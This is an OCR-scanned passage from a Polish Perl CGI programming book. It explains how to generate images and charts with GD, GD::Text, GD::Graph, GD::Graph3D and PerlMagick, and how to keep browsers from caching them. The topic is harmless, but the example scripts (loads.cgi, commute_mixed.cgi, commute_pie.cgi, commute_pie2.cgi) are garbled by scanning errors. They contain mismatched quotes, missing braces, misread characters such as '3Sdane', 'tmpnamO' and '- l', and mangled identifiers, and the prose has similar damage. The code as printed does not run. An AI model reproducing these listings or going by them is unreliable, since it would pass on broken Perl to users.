$q->script_name . "/$obraz" ) ; exit; } Gdy skrypt wywoływany jest po raz pierwszy, nie pojawia się dodatkowa informacja o ścieżce, więc za pomocą funkcji losuj_plik skrypt pobiera nowy obraz i skierowuje przeglądarkę do siebie, dołączając nazwę pliku jako informację o ścieżce. Gdy pojawi się drugie żądanie, skrypt pobierze nazwę pliku z informacji o ścieżce i użyje jej, jeśli nazwa pliku będzie pasować do wyrażenia regularnego, a sam plik będzie istnieć. Jeśli nazwa pliku okaże się niewłaściwa, skrypt zadziała tak, jak gdyby informacja o ścieżce nie została podana i wygeneruje losowo nową nazwę pliku. Zauważmy, że wyrażenie regularne nazwy pliku, /(\w+\.\w+)$/, nie pozwalana wyświetlenie jakichkolwiek obrazów, których nazwy zawierają znaki nie pasujące do kwantyfikatora \w, w tym łączniki („-"). Może zajść potrzeba dostosowania tego wzorca do używanych nazw plików. Zapobieganie buforowaniu W przykładzie 13.1 generowaliśmy nagłówek HTTP Expires, aby „zniechęcić" do buforowania. Niestety, nie wszystkie przeglądarki respektują ten nagłówek, więc jest całkiem możliwe, że użytkownik otrzyma obraz nieaktualny zamiast dynamicznego. Niektóre przeglądarki usiłują ustalić, czy zasób jest generowany dynamicznie, na przykład przez skrypt CGI, czy też jest statyczny; takie przeglądarki raczej będą przyjmować, że obrazy są statyczne, zwłaszcza gdy dołączymy, właśnie omówioną, dodatkową informację o ścieżce. Istnieje sposób wymuszenia na przeglądarce, by powstrzymała się od buforowania obrazów, lecz wymaga to również dynamicznego generowania HTML-owego znacznika obrazu. W takim wypadku można dodawać do URL-a stale zmieniającą się wartość, na przykład wskazanie czasu w sekundach: my $czas = time; print $q->img( ( -src => "/cgi/wykres_ankiety.cgi/$czas/ankieta.png" } ); Dzięki temu przeglądarka uzna, że każde żądanie (dalsze niż drugie) odnosi się do innego zasobu. Wada tej techniki polega na tym, że bufor przeglądarki zapełnia się duplikatami obrazów, więc należy się nią posługiwać z rzadka i zawsze łączyć z nagłówkiem Expires na wypadek, gdyby jakaś przeglądarka go obsługiwała. Skuteczne jest również dodanie wartości do łańcucha zapytania, jak niżej: print $q->img( { -src => "/cgi/wykres_ankiety.cgi/ankieta.png?losowy=$time" } ); Jeśli cała pozostała zawartość strony HTML nie jest dynamiczna i nie zamierzamy jej przekształcać w skrypt CGI, to możemy się posłużyć SSI, czyli wstawką po stronie serwera (zob. rozdział 6, „Szablony HTML"): <!--#config timefmt="%d%m%y%H%M%S"--> <IMG SRC="/cgi/wykres_ankiety.cgi/<!—#echo var="DATE_LOCAL"—>/ankieta.png">
Programowanie CGI w Perlu
159
Choć jest to zapis mało czytelny i do tego w HTML-u niepoprawny składniowo, znacznik SSI zostanie zanalizowany przez serwer obsługujący SSI i przed wysłaniem go do użytkownika zastąpiony liczbą będącą wskazaniem bieżącej daty i godziny.
Generowanie plików PNG z wykorzystaniem GD Twórcą modułu GD jest Lincoln Stein (autor modułu CGI.pm), który także zajmuje się jego pielęgnacją. GD jest elementem zapewniającym w Perlu wejście do biblioteki graficznej gd, utworzonej przez Thomasa Boutella pod kątem języka C. Biblioteka gd pierwotnie przeznaczona była do tworzenia i edycji obrazów w formacie GIF. Ze względu jednak na roszczenia patentowe firmy Unisys, została przerobiona pod kątem formatu PNG (tak się złożyło, że Thomas Boutell był współautorem i redaktorem specyfikacji PNG). Obecne wersje biblioteki gd i modułu GD już nie obsługują GIF-ów, a wersje starsze nie są już rozprowadzane. Osoby dysponujące starszymi wersjami tych modułów (gdy na przykład któraś z nich została włączona do systemu), które obsługują format GIF, powinny się przed ich użyciem skontaktować z firmą Unisys w sprawie licencji i ewentualnie z prawnikiem obeznanym w kwestiach patentowych. Instalacja Moduł GD instaluje się tak, jak inne moduły z sieci CPAN, z pewnym wyjątkiem: należy się upewnić, że posiadana przez nas wersja gd jest najnowsza. GD zawiera kod w języku C, który musi zostać skompilowany wraz z gd. Jeśli mamy starszą wersję gd lub w ogóle tej biblioteki nie mamy, podczas kompilacji pojawią się błędy. Biblioteka gd dostępna jest pod adresem http://www.boutell.com/. W serwisie tym znajdują się również instrukcje na temat kompilacji gd, a ponadto spis innych pakietów, z których gd korzysta, jeśli tylko są dostępne (na przykład mechanizm Free-Type, dzięki któremu gd, a zatem i GD, obsługuje czcionki TrueType). Należy zwrócić uwagę, że gd wymaga najnowszych wersji bibliotek libpng i zlib, a łącza do nich można znaleźć także pod adresem http://www.boutell.com/. Posługiwanie się modułem GD W tym podrozdziale opracujemy aplikację, w której, korzystając z systemowego polecenia Uniksa uptime, będziemy wykreślać średnie obciążenia systemu (zob. rysunek 13.1). W następnym rozdziale poznamy moduły, które ułatwiają generowanie wykresów, a tymczasem zapoznajmy się z działaniem elementarnych funkcji graficznych biblioteki gd. Aplikacja jest raczej nieskomplikowana. Najpierw wywołujemy polecenie uptime, które zwraca trzy wartości, reprezentujące średnie obciążenie z ostatnich 5,10 i 15 minut (choć różnie z tym bywa w różnych uniksowych implementacjach). Oto przykładowy wynik polecenia uptime: 2:26pm up 11:07, 12 users, load average: 4.63, 5.29, 2.56 Następnie, posługując się figurami elementarnymi biblioteki gd - liniami i wie-lokatami - rysujemy osie, nanosimy skalę i wykreślamy wartości obciążenia. Przykład 13.2 przedstawia odpowiedni kod. Przykład 13.2. loads.cgi #!/usr/bin/perl -wT use strict; use CGI; use GD; BEGIN { $ENV{PATH} = '/bin:/usr/bin:/usr/ucb:/usr/local/bin'; delete @ENV{ qw( IFS CDPATH ENV BASH_ENV ) }; use constant OBC_MAKS => 10; use constant ROZM_OBRAZU => 170; use constant ROZM_WYKRESU => 100; use constant DLUG_DZIALKI => 3; use constant POCZ_UKL_WSP_X => 30; use constant POCZ_UKL_WSP_Y => 150; use constant TYTUL_TEKST => "System Load Average" use constant TYTUL_WSP_X => 10; use constant TYTUL_WSP_Y => 15; use constant KOLOR_OBSZARU => ( 255, 0, 0 ); use constant KOLOR_OSI => ( 0, 0, 0 ); use constant KOLOR_TEKSTU => ( 0, 0, 0 ); use constant KOLOR_TLA => ( 255, 255, 255 ); my $q = new CGI; my @obciazenia = odczytaj_obciazenia(); print $q->header( -type => "image/png", -expires => "-1d" ); binmode STDOUT; print wykres_obszarowy( \@obciazenia ) ; # Zwraca listę średnich obciążeń uzyskaną systemowym poleceniem uptime sub odczytaj_obciazenia {
Programowanie CGI w Perlu
160
my $uptime = "uptime' or die "Błąd przy uruchamianiu uptime: $!"; my( $odp_uptime ) = $uptime =~ /average: (.+)$/; my @obciazenia = reverse map { $_ > OBC_MAKS ? OBC_MAKS : $_ ) split /,\s*/, $odp_uptime; @obciazenia or die "Nie można dokonać rozbioru odpowiedzi polecenia uptime: $odp_uptime"; return @obciazenia; } # Przyjmuje jednowymiarową listę danych, a zwraca wykres obszarowy w formacie PNG sub wykres_obszarowy { my $dane = shift; my $obraz = new GD::Image( ROZM_OBRAZU, ROZM_OBRAZU ); my $tlo = $obraz->colorAllocate ( KOLOR_TLA ) ; my $kolor_obszaru = $obraz->colorAllocate ( KOLOR_OBSZARU ); my $kolor_osi = $obraz->colorAllocate ( KOLOR_OSI ) ; my $kolor_tekstu = Sobraz->colorAllocate ( KOLOR_TEKSTU ); # Dodanie tytułu $obraz->string( gdLargeFont, TYTUL_WSP_X, TYTUL_WSP_Y, TYTUL_TEKST, $kolor__tekstu ) ; # Dodanie osi X $obraz->line ( POCZ_UKL_WSP_X, POCZ_UKL_WSP_Y, POCZ_UKL_WSP_X + ROZM_WYKRESU, POCZ_UKL_WSP_Y, $kolor_osi ) ; # Dodanie osi Y $obraz->line ( POCZ_UKL_WSP_X, POCZ_UKL_WSP_Y, POCZ_UKL_WSP_X, POCZ_UKL_WSP_Y - ROZM_WYKRESU, $kolor_osi ) ; # Dodanie podziałek na osi X for ( my $x = 0; $x <= ROZM_WYKRESU; $x += ROZM_WYKRESU / ( @$dane - l ) { $obraz->line( $x + POCZ_UKL_WSP_X, POCZ_UKL_WS P_Y DLUG_DZIALKI, $x + POCZ_UKL_WSP_X, POCZ_UKL_WSP_Y + DLUG_DZIALKI, $kolor_osi ); # Dodanie podziałek na osi Y for ( my $y = 0; $y <= ROZM_WYKRESU; $y + = ROZM_WYKRESU / OBC_MAKS ) { $obraz->line ( POCZ_UKL_WSP_X - DLUG_DZIALKI, POCZ_UKL_WSP_Y - $y, POCZ_UKL_WSP_X + DLUG_DZIALKI, POCZ_UKL_WSP_Y - $y, $kolor_osi ) ; # Utworzenie wielokąta odzwierciedlającego dane my $wielokat = new GD::Polygon; $wielokat->addPt ( POCZ_UKL_WSP_X, POCZ_UKL_WSP_Y ) ; for ( my $i = 0; $i < 3Sdane; $i++ ) { $wielokat->addPt ( POCZ_UKL_WSP_X + ROZM_WYKRESU / ( @$dane - l ) * $i, POCZ_UKL_WSP_Y - $$dane[$i] * ROZM_WYKRESU / OBC_MAKS ) ; $wielokat->addPt ( POCZ_UKL_WSP_X + ROZM_WYKRESU, POCZ_UKL_WSP_Y # Dodanie wielokąta $obraz->f illedPolygon ( $wielokat, $kolor_obszaru ); $obraz->transparent ( $tlo ) ; return $obraz->png; } Po zaimportowaniu modułów, posługując się blokiem BEGIN, zabezpieczamy środowisko przed skażeniem. Musimy to zrobić, ponieważ w skrypcie użyte zostanie zewnętrzne polecenie uptime (zob. „Tryb kontroli skażeń" w rozdziale 8, „Bezpieczeństwo"). Następnie ustanawiamy dużą liczbę stałych. Stała OBC_MAKS określa górny limit średniej wartości obciążenia. Jeśli średnie obciążenie przekroczy wartość 10, to ustawiane jest na 10, dzięki czemu nie musimy zmieniać skalowania osi. Należy pamiętać, że ta aplikacja nie ma być, z założenia, w pełni użyteczną aplikacją graficzną, lecz ma służyć zilustrowaniu pewnych elementarnych funkcji graficznych modułu GD. Następnie określamy rozmiar obszaru wykresu, ROZM_WYKRESU, a także rozmiar całego obrazu, ROZM_OBRAZU. Obraz i wykres są kwadratowe, więc stałe te odnoszą się zarówno do szerokości, jak i wysokości. DLUG_DZIALKI dotyczy wielkości działki (w istocie jest to połowa narysowanej działki). Stałe POCZ_UKL_WSP_X i POCZ_UKL_WSP_Y zawierają współrzędne początku tworzonego wykresu (jego lewy dolny róg). TYTUL_TEKST, TYTUL_WSP_X i TYTUL_WSP_Y zawierają wartości odnoszące się do tytułu wykresu. Na koniec Stałym KOLORJDBSZARU, KOLORJDSI, KOLORJTEKSTU i KOLOR_TLA przypisujemy tablice zawierające po trzy liczby, reprezentujące składowe koloru, odpowiednio: czerwoną, zieloną i niebieską; wartości te należą do przedziału od O do 255. Wartości obciążenia systemu zwracane są przez funkcję odczytaj_obciazenia, która za-notowuje wynik polecenia uptime, poddaje rozbiorowi średnie obciążenia, redukuje średnie większe niż wartość stałej OBC_MAKS, po czym odwraca ich kolejność, tak aby je zwrócić od najwcześniejszej do najpóżniejszej. Tak więc na wykresie średnie wartości obciążenia systemu będą kreślone dla ostatnich 15,10 i 5 minut od lewej do prawej.
Programowanie CGI w Perlu
161
Powróciwszy do głównej części skryptu CGI, generujemy nagłówek, włączamy tryb binarny, a następnie poprzez funkcję wykres_obszarowy pobieramy dane przyszłego obrazu PNG i drukujemy je. W funkcji wykresjybszarowy zawarty jest cały kod tworzący obraz. Przyjmuje ona referencję do tablicy punktów danych, którą przypisuje do zmiennej $dane. Najpierw tworzymy nowy egzemplarz klasy GD::Image, przekazując do niego wymiary obszaru roboczego. Następnie alokujemy cztery kolory odpowiadające wcześniej zdefiniowanym stałym. Zauważmy, że pierwszy alokowany kolor automatycznie staje się kolorem tła. W tym wypadku obraz będzie mieć białe tło. Posługując się metodą string, wyświetlamy tytuł czcionką gdLargeFont. Następnie kreślimy dwie linie wychodzące z początku układu współrzędnych - poziomą i pionową, które wyznaczają osie X i Y. Po narysowaniu osi iteracyjnie przebiegamy cały obszar wykresu, rysując na osiach kreski działek. Teraz już możemy wykreślić średnie obciążenia. Tworzymy nowy egzemplarz klasy GD::Polygon, aby narysować wielokąt, którego górne wierzchołki będą reprezentować trzy średnie wartości obciążenia. Rysowanie wielokąta podobne jest do tworzenia wielopunktowej ścieżki zamkniętej. Za pomocą metody addPt dodajemy kolejne punkty wielokąta. Początek dodawany jest jako pierwszy. Następnie są obliczane i dodawane do wielokąta poszczególne współrzędne średnich obciążenia. Jako ostatni dodajemy na osi X punkt końcowy. GD automatycznie łączy ostatni punkt z pierwszym. Metoda filledPotygon wypełnia wielokąt, wskazywan/przez obiekt $wielokat, odpowiednim kolorem. Na koniec wykres jest odwzorowywany na format PNG, a dane zostają zwrócone. GD udostępnia wiele nie wymienionych tutaj metod, lecz nie dysponujemy miejscem, by przedstawić je wszystkie. Pełny opis ich składni zawarty jest w dokumentacji modułu GD oraz w książce Progmmming Web Graphics.
Dodatkowe moduły GD W sieci CPAN dostępna jest pewna liczba modułów współdziałających z GD. Dzięki niektórym otrzymujemy wygodne metody, które ułatwiają sięganie do funkcji GD. Inne moduły, również oparte na GD, ułatwiają tworzenie wykresów. W tym podrozdziale przyjrzymy się pakietowi GD::Text, który pomaga w umieszczaniu tekstów na obrazach GD, oraz pakietowi GD::Graph, najpopularniejszemu modułowi graficznemu, a także rozszerzeniom dostarczanym przez GD::Graph3D. GD::Text GD::Text, napisany przez Martina Yerbruggena, to zestaw modułów do obsługi tekstu. Do preparacji napisów umieszczanych na obrazach GD służą w sumie trzy moduły: GD::Text dostarcza informacji o rozmiarze tekstu w GD, GD::Text::Align umożliwia precyzyjniejsze rozmieszczanie tekstu, a GD::Text::Wrap daje możliwość umieszczania na obrazie pól zawierających tekst dzielony na wiersze. Nie mamy dość miejsca, by opisać szczegółowo wszystkie trzy moduły. Przyjrzyjmy się jedynie najbardziej chyba użytecznemu spośród nich, czyli GD::Text::Align. GD::Text::Align W ostatnim przykładzie, loads.cgi, do wyznaczenia początkowego położenia wy-środkowanego tytułu, „System Load Average" (średnie obciążenie systemu), użyliśmy wstępnie zdefiniowanych stałych. Wartości te zostały ustalone w wyniku prób i błędów, i choć nie jest to rozwiązanie eleganckie, sprawdza się w wypadku obrazów, których tytuły są z góry ustalone. Jeśli jednak ktoś zechce zmienić tytuł obrazu, będzie trzeba w kodzie tak poprawić współrzędne, aby także nowy tytuł leżał pośrodku (w poziomie). W wypadku tytułów dynamicznych takie podejście w ogóle się nie sprawdza. O wiele lepszym rozwiązaniem będzie dynamiczne obliczanie położenia. Dzięki GD::Text::Align zadanie staje się łatwe. W powyższym przykładzie stała TYTUL_WSP_Y w rzeczywistości określa górny margines, a TYTUL_WSP_X - lewy (pamiętajmy, że w GD początek współrzędnych wyznaczany jest przez lewy górny róg obrazu). Zastosowanie stałej w wypadku marginesu górnego jest zupełnie słuszne, lecz skoro tytuł ma być wyśrodkowany, to TYTUL_WSP_X powinniśmy wyliczać dynamicznie. Zobaczmy więc, jak moglibyśmy zmodyfikować skrypt loads.cgi, czyniąc użytek z modułu GD::Text::Align. Najpierw, na początku skryptu inicjujemy moduł GD::Text::Align: use GD::Text::Align; Następnie wiersz umieszczający na obrazie tekst tytułu (metoda string w procedurze wykresjobszarowy) zastępujemy takim oto zapisem: # Dodanie wyśrodkowanego tytułu my $tytul = GD::Text::Align->new( $obraz, font => gdLargeFont, text => TYTULJTEKST, color => $kolor_tekstu, valign => "top", halign => "center", ); $tytul->draw( ROZM_OBRAZU / 2, TYTUL_WSP_Y ); Tworzymy obiekt GD::Text::Align, przekazując do niego obiekt GD, $obraz, i kilka parametrów opisujących tekst. Potem metodą draw dodajemy do obrazu tytuł. Możemy teraz usunąć stałą TYTUL_WSP_X, ponieważ już jej nie potrzebujemy. Stosowne wydaje się również zamienić nazwę stałej TYTUL_WSP_Y na lepiej zrozumiałą w tym kontekście, na przykład TYTUL_GORNY_MARGINES.
Programowanie CGI w Perlu
162
Oprócz wyrównywania tekstu moduł GD::Text::Align umożliwia wyliczanie współrzędnych prostokątnego obszaru, w którym mieści się łańcuch tekstowy, zanim jeszcze tekst zostanie umieszczony na obrazie. Dzięki temu w razie potrzeby można wprowadzić dodatkowe poprawki (np. zmniejszyć rozmiar czcionki). Moduł obsługuje czcionki TrueType i pozwala ustawiać tekst pod różnymi kątami. Więcej informacji znajduje się w dokumentacji elektronicznej tego modułu. GD::Graph GD::Graph, również autorstwa Martina Yerbruggena, to zestaw modułów opartych na GD, służących do tworzenia wykresów. GD::Graph w ciągu ostatnich lat kilkakrotnie zmieniał nazwę. Pierwotnie nazywał się GIFgraph, jednak gdy z modułu GD usunięto obsługę formatu GIF, nie mógł generować GIF-ów; po prostu przestał działać. Steve Bonds dostosował go do formatu PNG i zmienił jego nazwę na Chart::PNGgraph. Później Martin Yerbruggen nadał mu ogólniejszą nazwę GD::Graph i usunął z niego obsługę konkretnych formatów obrazu. Wcześniej, wywołując metodę plot, uzyskiwało się wykres albo w formacie GIF (w wypadku modułu GIFgraph), albo PNG (w wypadku PNGgraph). Obecnie plot zwraca obiekt GD::Image, tak że użytkownik może osobno wybrać pożądany format. Wkrótce zobaczymy, jak to działa. Aby można było zainstalować GD::Graph, najpierw muszą być zainstalowane moduły GD i GD::Text. GD::Graph udostępnia następujące moduły do tworzenia wykresów: • GD::Graph::area służy do tworzenia wykresów obszarowych; • GD::Graph::bars służy do tworzenia wykresów słupkowych • GD::Graph::lines służy do tworzenia wykresów kreskowych • GD::Graph::points służy do tworzenia wykresów wielopunktowych • GD::Graph::linespoints służy do tworzenia wykresów będących połączeniem wykresów kreskowych i wielopunktowych • GD::Graph::pie służy do tworzenia wykresów kołowych • GD::Graph::mixed służy do tworzenia wykresów mieszanych, będących kombinacjami wszystkich dotą wymienionych typów z wyjątkiem kołowych; Przykład 13.3. commute_mixed.cgi #!/usr/bin/perl -wT use strict; use CGI; use GD::Graph::mixed; use constant TYTUŁ => "Average Commute Time: Mixed Chart"; my $q = new CGI; my $wykres = new GD::Graph::mixed ( 400, 300 ) ; my @dane = ( [ qw( Mon Tue Wed Thu Fri ) ], [ 33, 24, 23, 19, 21 ], [ 17, 15, 19, 15, 24 ] ); $wykres->set( title => TYTUŁ, x_label => "Day", y_label => "Minutes", long_ticks => 1, y_max_value => 40, y_min_value => 0, y_tick_number => 8, y_label_skip => 2, bar_spacing => 4, types => [ "bars", "linespoints" ], ); $wykres->set_legend( "Morning", "Evening" ); my $obraz_gd = $wykres->plot( \@dane ); print $q->header( -type => "image/png", -expires => "now" ); binmode STDOUT; print $obraz_gd->png; Zauważmy, że nie musimy w tym skrypcie inicjować modułu GD, ponieważ obrazów nie tworzymy bezpośrednio; korzystamy z modułu GD::Graph. Ustanawiamy jedną stałą, z tytułem wykresu. Moglibyśmy utworzyć więcej stałych różnych parametrów przekazywanych do modułu GD::Graph, lecz skrypt jest krótki, a dzięki rezygnacji ze stałych symbolicznych lepiej widać wartości nadawane poszczególnym parametrom. Tworzymy obiekt wykresu mieszanego, przekazując do niego szerokość i wysokość w pikselach, a następnie ustanawiamy zestaw danych. Potem wywołujemy metodę set, aby określić parametry wykresu. Znaczenie niektórych z nich podane zostało w kodzie jako komentarz; tutaj objaśnimy pozostałe. Parametr long_ticks określa, czy kreski podziałki powinny rozciągać się na obszar wykresu i tworzyć siatkę. y_tick_number określa, na ile działek powinna być podzielona oś Y. y_label_skip określa, jak gęsto kreski podziałki powinny być etykietowane - zastosowane ustawienie, czyli 2, oznacza, że co drugą kreskę. bar_spacing to liczba pikseli między słupkami (w wypadku szeregu słupków). Ostatni parametr, types, określa typ wykresu każdej serii. Dodajemy legendę, opisującą serie danych. Następnie wywołujemy metodę plot, przekazując do niej przygotowane wcześniej dane, i w efekcie otrzymujemy obiekt GD::Image zawierający nowy wykres. Potem wystarczy wygenerować nagłówek i przekazać obraz na wyjście skryptu w formacie PNG.
Programowanie CGI w Perlu
163
Nie będziemy analizować kodu dla każdego typu wykresu, ponieważ za pomocą tego samego kodu, z drobnymi modyfikacjami, można wygenerować wykresy wszystkich pozostałych typów, z wyjątkiem wykresu kołowego. GD::Graph::mixed wystarczy zastąpić nazwą odpowiedniego modułu. Jedyną właściwością specyficzną dla wykresów mieszanych (i słupkowych) jest bar_spacing. Pozostałe są wspólne we wszystkich typach. Wykresy kołowe są nieco inne. Przyjmują tylko pojedyncze serie danych, nie mają legendy, a ponieważ nie mają osi, większość dotąd omówionych parametrów ich nie dotyczy. Co więcej, domyślnie wykresy kołowe są trójwymiarowe. Przykład 13.4 przedstawia kod użyty do utworzenia wykresu widocznego na rysunku 13.7. Przykład 13.4. commute_pie.cgi #!/usr/bin/perl -wT use strict; use CGI; use GD::Graph::pie; use constant TYTUŁ => "Average Commute Time: Pie Chart"; # "Średni czas dojazdu: wykres kołowy"; my $q = new CGI; my $wykres = new GD::Graph::pie( 300, 300 ); my @dane = ( [ qw( Mon Tue Wed Thu Fri ) ], [ 33, 24, 23, 19, 21 ], ); $wykres->set( title => TYTUŁ, '3d' => 0 ); my $obraz_gd = $wykres->plot( \@dane ); print $q->header( -type => "image/png", -expires => "-ld" ); binmode STDOUT; print $obraz_gd->png; Skrypt jest znacznie krótszy, ponieważ definiujemy bardzo ograniczony zbiór parametrów. Określamy tytuł i wyłączamy opcję trójwymiarowości, 3 d (wrócimy do tej prezentacji w następnym podrozdziale). Ponadto nadajemy wykresowi rozmiar 300 x 300 zamiast 400 x 300. GD::Graph dopasowuje wymiary wykresu kołowego do krawędzi. Gdyby więc wykres kołowy został wykreślony w obszarze prostokątnym, stałby się eliptyczny. Do metody plot przekazujemy tylko jedną serię danych i pomijamy legendę, której użycie z wykresami kołowymi jest obecnie niemożliwe. GD::Graph3D GD::Graph3D umożliwia generowanie wykresów trójwymiarowych. Jest rozszerzeniem modułu GD::Graph, składającym się z trzech dodatkowych modułów: • GD::Graph::bars3d służy do tworzenia trójwymiarowych wykresów słupkowych; • GD::Graph::lines3d służy do tworzenia trójwymiarowych wykresów kreskowych; • GD::Graph::pie3d służy do tworzenia trójwymiarowych wykresów kołowych. Moduł ten w istocie odwołuje się do modułu GD::Graph::pie, który generuje obecnie wykresy kołowe właśnie w postaci trójwymiarowej. Dołączany jest do pozostałych jedynie po to, aby zapewnić spójne nazewnictwo wszystkich trzech modułów. Prawdopodobnie wcześniej czy później, aby korzystanie z modułów było przejrzyste i spójne, wykresy kołowe uzyskiwane za pomocą GD::Graph::pie domyślnie będą nietrójwymiarowe, wersje zaś trójwymiarowe będą generowane przede wszystkim przy użyciu GD::Graph::pie3d. Aby użyć któregoś z modułów do wykresów trójwymiarowych, wystarczy jego nazwą zastąpić nazwę standardowego modułu; wszystkie właściwości i metody pozostają bez zmian. Trójwymiarowe wykresy słupkowy i kreskowy oferują dodatkowe metody, umożliwiające określenie głębi słupków i linii. Szczegółowe informacje dostępne są w załączonej do nich dokumentacji. Mimo że moduł jest rozprowadzany jako GD::Graph3d, dokumentacja zainstalowana jest razem z dodatkowymi typami wykresów, w katalogu GD/Gmph. Tak więc chcąc się zapoznać z dokumentacją modułu GD::Graph3d, musimy się do niego odwołać w następujący sposób: $ perldoc GD::Graph::Graph3d
PerlMagick PerlMagick to jeszcze jeden moduł graficzny przeznaczony do użytku internetowe-go. Oparty jest na bibliotece ImageMagick, dostępnej w wielu językach i dla różnych platform. Moduł Perla, Image::Magick, często jest opisywany jako PeriMagick. Biblioteka ImageMagick została napisana przez Johna Cristy'ego; moduł Perla został napisany przez Kyle'a Shortera. ImageMagick ma ogromne możliwości i pozwala wykonywać następujące operacje: Identify ImageMagick obsługuje ponad pięćdziesiąt różnych formatów plików graficznych, w tym: GIF, JPEG, PNG, TIFF, BMP, EPS, PDF, MPEG, PICT, PPM i RGB. Convert Korzystając z ImageMagick, można dokonywać konwersji między wyżej wymienionymi formatami. Montage ImageMagick umożliwia tworzenie miniatur obrazów. Mogrify Za pomocą ImageMagick można poddawać obrazy wszelkiego rodzaju obróbkom, obejmującym między innymi rozmywanie, obracanie, płaskorzeźbę i nor-malizaq'ę. Drawing
Programowanie CGI w Perlu
164
Za pomocą ImageMagick, tak jak w wypadku GD, do obrazów można dodawać figury elementarne oraz tekst. Composite Posługując się ImageMagick, można scalać po kilka obrazów. Animate ImageMagick obsługuje formaty plików wieloklatkowych, na przykład animowane pliki GIF. Display ImageMagick obejmuje także narzędzia, takie jak display, służące do wyświetlania oraz interakcyjnych operacji na obrazie. Oczywiście, nie będziemy ich wszystkich opisywać. Przyjrzymy się konwersji między formatami, a także tworzeniu obrazu przy zastosowaniu pewnych zaawansowanych efektów specjalnych. Instalacja Moduł Image::Magick można pobrać z sieci CPAN, przy czym do jego instalacji niezbędne jest wcześniejsze zainstalowanie biblioteki ImageMagick. Bibliotekę tę można uzyskać poprzez macierzystą stronę ImageMagick, znajdującą się pod adresem http://murw.wizards.dupont.com/cristy/. Strona ta zawiera łącza do wielu zasobów, w tym: prekompilowanych binarnych pakietów dystrybucyjnych ImageMagick dostosowanych do wielu systemów operacyjnych, szczegółowych instrukcji kompila-q'i (na wypadek, gdybyśmy zdecydowali się przeprowadzić ją samodzielnie) oraz szczegółowego podręcznika w formacie PDF. Wymagania Image::Magick ma znacznie większe możliwości niż GD. Obsługuje liczne formaty plików i pozwala na wiele rodzajów operacji, podczas gdy moduł GD jest zoptymalizowany pod kątem ograniczonego zestawu zadań i jednego tylko formatu. Jednak bogate możliwości mają swoją cenę. Podczas gdy GD ma stosunkowo małe wymagania i jest całkiem efektywny, moduł Image::Magick może ulec awarii, jeśli do dyspozycji ma mniej niż 80 MB pamięci, przy czym największą wydajność uzyskuje się przy co najmniej 64 MB pamięci rzeczywistej (tj. niewirtualnej). Włączanie kompresji LZW Image::Magick obsługuje pliki GIF. Jednak domyślnie obsługa kompresji LZW nie jest wkompilowywana do biblioteki ImageMagick. W efekcie GIF-y tworzone przy użyciu Image::Magick są bardzo duże. Możliwe jest włączenie kompresji LZW przy kompilacji biblioteki, lecz, oczywiście, należy się wtedy skontaktować z firmą Unisys w kwestii licencji i ewentualnie zasięgnąć wcześniej porady u prawnika. Więcej informacji dostarczają instrukcje kompilacji biblioteki ImageMagick. Konwersja plików PNG do formatu GIF lub JPEG Niestety, o czym już wcześniej wspomnieliśmy, nie wszystkie przeglądarki obsługują pliki PNG. Zobaczmy więc, jak za pomocą modułu Image::Magick przekształcić plik PNG w GIF lub JPEG. Aby poddać obraz obróbce w Image::Magick, musimy go odczytać z pliku. Według dokumentacji moduł ten powinien akceptować także dane dostarczone poprzez uchwyt pliku, lecz w czasie, gdy pisano tę książkę, ten mechanizm zawodził (bez zgłaszania błędu). Dlatego dane wyjściowe modułu GD będziemy zapisywać do pliku tymczasowego, a potem wczytywać je do Image::Magick. Przykład 13.5 to wcześniej przedstawiony skrypt commute_pie.cgi, uaktualniony pod kątem generowania JPEG w sytuacji, gdy przeglądarka nie zasygnalizuje, że obsługuje pliki PNG. Przykład 13.5. commute_pie2.cgi #!/usr/bin/perl -wT use strict; use CGI; use GD::Graph::pie; use Image::Magick; use POSIX qw( tmpnam ) ; use Fcntl; use constant TYTUŁ => "Average Commute Time: Pie Chart"; # "Średni czas dojazdu: wykres kołowy" my $q = new CGI; my $wykres = new GD::Graph::pie( 300, 300 ); my @dane = ( [ qw( Mon Tue Wed Thu Fri ) ], [ 33, 24, 23, 19, 21 ], [ 17, 15, 19, 15, 24 ], ); # skróty ang. nazw dni tygodnia $wykres->set ( title => TYTUŁ, '3d' => 0 ); my $obraz_gd = $wykres->plot( \@dane ) ; undef $wykres; if ( grep $_ eq "image/png", $q->Accept ) print $q->header( -type => "image/png", -expires => "now" ), binmode STDOUT; print $obraz_gd->png; } else { print $q->header( -type => "image/jpeg", -expires => "nów" ); binmode STDOUT;
Programowanie CGI w Perlu
165
drukuj_pngNAjpg( $obraz_gd->png ); } # Przyjmuje dane PNG, przekształca je w JPEG i drukuje sub drukuj_pngNAjpg { my $dane_png = shift; my( $nazwa_tymcz, $stan ); # Utworzenie pliku tymczasowego i zapisanie do niego danych w formacie PNG do { $nazwa_tymcz = tmpnamO; } until sysopen PLIKTYMCZ, $nazwa_tymcz, O_RDWR | O_CREAT | O_EXCL; END { unlink $nazwa_tymcz or die "Nie można usunąć pliku $nazwa_tymcz: $!"; ) binmode PLIKTYMCZ; print PLIKTYMCZ $dane_png; seek PLIKTYMCZ, 0, 0; Close PLIKTYMCZ; undef $dane_png; # Wczytanie pliku do Image::Magick my $magick = new Image::Magick( format => "png" ); $stan = $magick->Read( filename => $nazwa_tymcz ); warn "Błąd przy odczycie danych wejściowych PNG: $stan" if Sstan; # Zapisanie pliku jako JPEG do STDOUT $stan = $magick->Write( "jpeg:-" ); warn "Błąd przy zapisie danych wyjściowych JPEG: $stan" if $stan; } W skrypcie używamy kilku dodatkowych modułów, w tym Image::Magick, POSIX i Fcntl. Dwa ostatnie z tych trzech pozwalają nam uzyskać tymczasową nazwę pliku (zob. „Pliki tymczasowe" w rozdziale 10, „Obsługa danych w plikach"). Ostatnią zmianą wprowadzoną w głównej części skryptu jest sprawdzenie w nagłówku Accept przeglądarki, czy typem nośnika jest image/png. Jeśli taki typ został podany, wysyłamy plik PNG, bez zmian. W przeciwnym razie generujemy nagłówek odpowiedni do formatu JPEG, za pomocą funkcji drukuj_pngNAjpg dokonujemy konwersji formatu i przekazujemy obraz na wyjście skryptu. Funkcja drukuj_pngNAjpg przyjmuje dane obrazu w formacie PNG, tworzy tymczasowy plik z nazwą i zapisuje do niego dane PNG. Następnie zamyka plik i likwiduje kopię danych w wersji PNG, aby zaoszczędzić trochę miejsca w pamięci. Następnie tworzymy obiekt Image::Magick, odczytujemy dane PNG z pliku tymczasowego i zapisujemy je w formacie JPEG na STDOUT. W argumencie metody Write modułu Image: :Magick stosuje się zapis format: : na z wa_pl i ku; użycie łącznika („-") zamiast nazwy pliku oznacza, że zapis ma się odbywać na STDOUT. Dane moglibyśmy przekazywać na wyjście 